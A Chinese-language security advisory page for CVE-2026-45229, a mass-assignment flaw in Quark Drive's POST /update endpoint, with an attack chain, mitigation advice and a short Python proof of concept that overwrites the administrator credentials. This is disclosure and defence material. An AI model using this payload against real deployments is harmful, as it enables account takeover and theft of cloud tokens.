IPBUF安全漏洞报告
English
CVE-2026-45229 CVSS 8.8 高危

CVE-2026-45229 Quark Drive批量赋值漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-45229
漏洞类型
批量赋值
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Quark Drive

相关标签

批量赋值Quark DriveCVE-2026-45229权限提升凭证覆盖

漏洞概述

Quark Drive 0.8.5之前的版本在POST /update端点存在严重的批量赋值漏洞。由于应用程序对config_data字典的过滤机制仅依赖不完善的拒绝列表,经过身份验证的攻击者可以发送特制的webui对象。这允许攻击者覆盖存储的管理员凭据,锁定合法管理员,并获取对系统任务、云令牌及通知服务的持久控制权。

技术细节

该漏洞的核心在于Quark Drive处理配置更新时的参数绑定逻辑。当系统接收到发往`POST /update`端点的请求时,会将用户提交的`config_data`直接映射到内部配置对象中。尽管开发者试图通过拒绝列表来阻止敏感字段被修改,但该列表并不完整,未能覆盖`webui`对象下的管理员凭据字段。攻击者只需拥有低权限账户,即可构造包含恶意`webui`键值对的JSON数据包(例如修改username和password)。当服务器处理该请求时,恶意数据会直接覆盖原有的管理员配置。这种利用方式无需复杂的用户交互,一旦成功,攻击者即可永久接管系统最高权限。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标运行的是Quark Drive 0.8.5之前的版本,并发现存在可访问的/update端点。
STEP 2
2. 获取初始访问
攻击者注册或获取一个低权限账户的登录凭证(满足PR:L要求)。
STEP 3
3. 漏洞利用
攻击者向POST /update端点发送包含恶意config_data的请求,利用拒绝列表过滤不严的缺陷,注入包含恶意凭据的webui对象。
STEP 4
4. 权限提升与持久化
服务器接受请求并更新配置,攻击者利用新设置的管理员凭据登录,锁定原管理员,获取所有任务和令牌的持久访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target-ip:port/update" # Attacker's controlled session cookie (Low privilege required) cookies = { "session": "low_privilege_session_token" } # Malicious payload exploiting mass assignment # Overwrites the admin credentials in config_data payload = { "config_data": { "webui": { "username": "hacker", "password": "newPassword123!" } } } try: response = requests.post(url, json=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Admin credentials potentially overwritten.") print("[+] Try logging in with username: hacker, password: newPassword123!") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Quark Drive < 0.8.5

防御指南

临时缓解措施
建议立即升级到修复版本。如无法立即升级,应通过网络ACL限制对/update端点的访问,仅允许受信任的管理员IP访问,并密切监控系统配置文件的异常变更。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表